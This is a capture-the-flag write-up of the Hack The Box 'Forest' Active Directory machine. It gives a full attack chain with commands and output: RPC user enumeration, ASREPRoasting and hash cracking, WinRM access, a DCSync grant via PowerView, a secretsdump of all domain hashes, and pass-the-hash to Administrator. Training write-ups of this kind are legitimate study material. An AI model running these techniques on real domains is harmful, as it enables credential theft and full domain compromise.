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  • Enumeration
  • Exploitation
  • Privilege Escalation

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  1. Windows Machines

Forest

Last updated 2 years ago

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Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.161 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Wed Jan  5 20:40:56 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.161
Warning: 10.10.10.161 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.161
Host is up (0.058s latency).
Not shown: 65473 closed tcp ports (reset), 38 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49676/tcp open  unknown
49677/tcp open  unknown
49684/tcp open  unknown
49706/tcp open  unknown
49933/tcp open  unknown

# Nmap done at Wed Jan  5 20:41:12 2022 -- 1 IP address (1 host up) scanned in 16.75 seconds

As we see, there are quite a lot of ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.10.161 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Wed Jan  5 21:11:22 2022 as: nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oN targeted 10.10.10.161
Nmap scan report for htb.local (10.10.10.161)
Host is up (0.053s latency).

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-05 20:18:20Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       .NET Message Framing
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2022-01-05T20:18:23
|_  start_date: 2022-01-05T17:48:15
|_clock-skew: mean: 2h46m50s, deviation: 4h37m09s, median: 6m48s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2022-01-05T12:18:25-08:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  5 21:11:44 2022 -- 1 IP address (1 host up) scanned in 21.92 seconds

It looks like we are facing an Active Directory. In this type of machines, I always like to start by trying to get a list of the domain users. I tried to log in into the RPC service with a null session.

rpcclient -U "" 10.10.10.161 -N

  • -U set the network username.

  • -N don't ask for password.

rpcclient -U "" 10.10.10.161 -N -c "enumdomusers"

  • -U set the network username.

  • -N don't ask for password.

  • -N execute command.

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Then, I cleaned the output of the command and dumped it into a file.

rpcclient -U '' 10.10.10.161 -N -c "enumdomusers" | grep -oP "\[.*?\]" | grep "0x" -v | tr -d "[]" > users

Exploitation

Now that I had a list of users, I could try an ASREPRoast attack.

ASREPRoast attack: when a user does not need pre-authentication, it is possible to obtain a TGT, without knowing the user's credentials, which contains data encrypted with the user's hash, which can be used for offline cracking.

impacket-GetNPUsers htb.local/ -no-pass -usersfile users

  • -no-pass don't ask for password.

  • -usersfile file which contains user per line.

Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:bfc20160f90cd413afff5ceb86b54dc0$cd8e752d89edff92294ab3dcfffba0c6b4891787d41b5c2ccb8ff4288999e72342eb0778fb18e35491248cc076409e6dd40a4f16fba673d18b817128f67f10db3a063bc1dc5d9bbe6300b83b5c2817282367fb4a0be5fc82f5ce107a3a9d8e7b44511ed707bc14cea21a9e5d2719d60bd1a042dfa4893105b6891b80686db10f4fe97a85eed811c22a6148b5fa50f3c89be5444972e97b5aa91e494942029bdf091dccc93dc0c53d615d305543c99f61c621c579d8c6340f18f1a2e9b6e9e323609e07530375f4a0c476d9c54be38469cce33272094c1d825e2a3ad77c74d4989070c8311285
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

And I got a hash. Next, I put the password in a file, tried to break it with john, and I got the password.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:10 DONE (2022-02-05 23:11) 0.09940g/s 406139p/s 406139c/s 406139C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

At this point, I checked with crackmapexec if I could get a shell as the user svc-alfresco.

crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

WINRM       10.10.10.161    5985   FOREST           [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
WINRM       10.10.10.161    5985   FOREST           [*] http://10.10.10.161:5985/wsman
WINRM       10.10.10.161    5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

Now, I knew I could get a shell as the svc-alfresco user and grab the user flag.

evil-winrm -i 10.10.10.161 -u "svc-alfresco" -p "s3rvice"

  • -i remote host IP address.

  • -u username.

  • -p password.

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type \users\svc-alfresco\desktop\user.txt
425f527c7cb0f2828d1d9c8aa23057bb

Privilege Escalation

upload /home/alfa8sa/Documentos/tools/SharpHound.ps1

Info: Uploading /home/alfa8sa/Documentos/tools/SharpHound.ps1 to C:\Users\svc-alfresco\Documents\SharpHound.ps1

                                                             
Data: 1297764 bytes of 1297764 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir


    Directory: C:\Users\svc-alfresco\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2022   8:22 AM         973325 SharpHound.ps1

Then we import the module.

Import-Module .\SharpHound.ps1

And we execute it.

Invoke-BloodHound -CollectionMethod All

    Directory: C:\Users\svc-alfresco\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2022   8:30 AM          15352 20220207083033_BloodHound.zip
-a----         2/7/2022   8:30 AM          23904 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a----         2/7/2022   8:22 AM         973325 SharpHound.ps1

Let's download the .zip file with the download functionality from evil-winrm.

download 20220207083033_BloodHound.zip

Now, we have to start BloodHound. First, we have to start neo4j.

neo4j console

Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. You’ll have to change the password.

On a new console, run BloodHound.

bloodhound -nosandbox

Then log in with the credentials you have set earlier.

Then, click on the Upload Data button on the right section and select the .zip file.

Once all the .json files are uploaded go to the Analysis section, click on the "Find AS-REP Roastable Users (DontReqPreAuth)", right click on the svc-alfresco user and click on "Mark User as Owned".

Now let's see the shortest path to the admin user from our owned user.

And we see there is a path.

We see the user svc-alfresco has permission to modify the DACL (Discretionary Access Control List) on the domain, which means you can grant yourself any privilege you want on the object.

The idea here is to set the user svc-alfresco as a member of the Exchange Windows Permissions, and grant this user the DcSync privileges. Then we could grab the password NTLM hashes of all the principals on the domain.

A user with the DCSync permission impersonates a Domain Controller and requests account password data from the targeted Domain Controller.

First, let's add the svc-alfresco to the Exchange Windows Permissions group.

net group "Exchange Windows Permission" svc-alfresco /add /domain

Then, we need to create a PSCredential object.

$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $SecPassword)

To grant yourself the DcSync privilege, you will need to use the Add-DomainObjectAcl command, which is from the PowerView.ps1 module. Same as before, let's upload the script to the machine and execute it.

upload /home/alfa8sa/Documentos/tools/privEsc/PowerView.ps1

. .\PowerView.ps1

Now we can run the command which will give the svc-alfresco user the DCSync privilege.

Add-DomainAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync

Now, we can dump the NTLM hashes with Mimikatz, or remotely with secretsdump.

impacket-secretsdump htb.local/svc-alfresco@10.10.10.161

Password: s3rvice

Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation                                                                                                                                                                                        
                                                                                                                                                                                                                                                                              
Password:                                                                                                                                                                                                                                                                     
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied                                                                                                                                                                                            
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                                                                                                                                                                                 
[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                                                                                                                                                                          
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::                                                                                                                                                                              
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                                                                                                
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::                                                                                                                                                                                               
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                                                                                       
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                                                                      
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                                                                      
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                                                                      
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                     
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                     
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                     
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                     
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                     
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                     
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                     
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::                                                                                     
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:6b5a9efbe281d87a70b531bc61c4a1e9:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed                                                                                             
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b                                                                  
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8                                                                                   
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58                                                                      
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce                                                                        
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a                                                                   
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da                                                                           
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9                                                                           
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd                                                                          
FOREST$:aes256-cts-hmac-sha1-96:dbce43ed8c50ca8a40011baefc0fa725529bb747b3a14462f5e95f5a52c19987
FOREST$:aes128-cts-hmac-sha1-96:89758b52b8a72869d6839f0f6d99ac85
FOREST$:des-cbc-md5:0b2a38151c4c1067                                                                                  
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129                                                                                  
[*] Cleaning up...

Now that we have the Administrator NTLM password hash, we can get a shell with a PassTheHash attack.

A Pass-the-Hash attack is a technique where an attacker captures a password hash and then simply passes it through for authentication.

This attack exploits the authentication protocol, as the passwords hash remains static for every session until the password is rotated.

Finally, let's execute evil-winrm with the -H flag to get a shell as the administrator user. And all we have to do is reap the harvest and take the root flag.

evil-winrm -i 10.10.10.161 -u "Administrator" -H 32693b11e6aa90eb43d32c72a07ceea6

  • -i remote host IP address.

  • -u username.

  • -H NT hash.

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type \users\administrator\desktop\root.txt
8906def4cc0d169428828dc7c9b1886b

And I got in. There is a great , which explains various forms of enumerating a domain controller from the RPC service. One of them, is to list the domain users with the enumdomusers command:

Let's upload to the machine to discover attack paths. Evil-winrm has the upload functionality with which you can transfer files from your local machine to the victim machine.

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SharpHound